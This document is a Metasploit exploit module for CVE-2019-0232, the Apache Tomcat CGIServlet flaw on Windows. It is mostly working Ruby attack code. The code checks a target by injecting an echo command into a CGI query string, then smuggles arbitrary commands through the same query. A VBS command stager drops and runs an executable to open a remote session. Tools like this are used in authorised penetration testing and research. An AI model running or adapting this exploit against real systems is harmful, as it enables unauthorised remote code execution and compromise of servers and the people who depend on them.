This Metasploit module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
system commands, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yakov Shafranovich', # Original discovery
'sinn3r' # Metasploit module
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Apache Tomcat 9.0 or prior for Windows', { } ]
],
'References' =>
[
['CVE', '2019-0232'],
['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'CmdStagerFlavor' => 'vbs',
'DefaultOptions' =>
{
'RPORT' => 8080
},
'Privileged' => false,
'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
end
def check
sig = Rex::Text.rand_text_alpha(10)
uri = normalize_uri(target_uri.path)
uri << "?&echo+#{sig}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
vprint_error('No Response from server')
return CheckCode::Unknown
end
if res.body.include?(sig)
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def execute_command(cmd, opts={})
# Our command stager assumes we have access to environment variables.
# We don't necessarily have that, so we have to modify cscript to a full path.
cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')
uri = normalize_uri(target_uri.path)
uri << "?&#{CGI.escape(cmd)}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
fail_with(Failure::Unreachable, 'No response from server')
end
unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
end
# it seems we don't really have a way to retrieve the filenames from the VBS command stager,
# so we need to rely on the user to cleanup the files.
def on_new_session(cli)
print_warning('Make sure to manually cleanup the exe generated by the exploit')
super
end
def exploit
print_status("Checking if #{rhost} is vulnerable")
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
end
print_warning('Target does not appear to be vulnerable.')
end
print_status("#{rhost} seems vulnerable, what a good day.")
execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
end
end